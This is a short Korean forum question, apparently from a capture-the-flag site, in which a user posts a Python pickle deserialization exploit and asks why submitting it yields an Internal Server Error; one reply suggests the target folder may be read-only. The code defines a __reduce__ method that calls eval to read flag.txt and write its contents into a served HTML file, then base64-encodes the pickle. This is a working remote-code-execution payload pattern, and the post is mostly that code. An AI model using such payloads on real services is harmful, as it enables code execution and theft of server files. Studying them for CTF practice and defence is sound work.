Internal Server Error
import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        cmd = "f = open('check_session.html', 'a').write(open('./flag.txt', 'r').read())"
        return (__builtins__.eval, (cmd,))

if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.b64encode(pickled))

위와 같이 코드를 작성하고 프린트된 값을 그대로 check_session에 전달해 줬는데 계속 Internal Server Error에서 막힙니다. 혹시 제가 놓치고 있는 부분이 있을까요?? ㅠㅠ

#web
작성자 정보
답변 1
avatar
meu
.HACK 2024 참가자

check_session.html 이 포함된 directory가 read-only 로 mount된 폴더 아래에 있다면 check_session.html 내용을 수정하지 못할 수도 있습니다

2021.06.03. 14:46
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기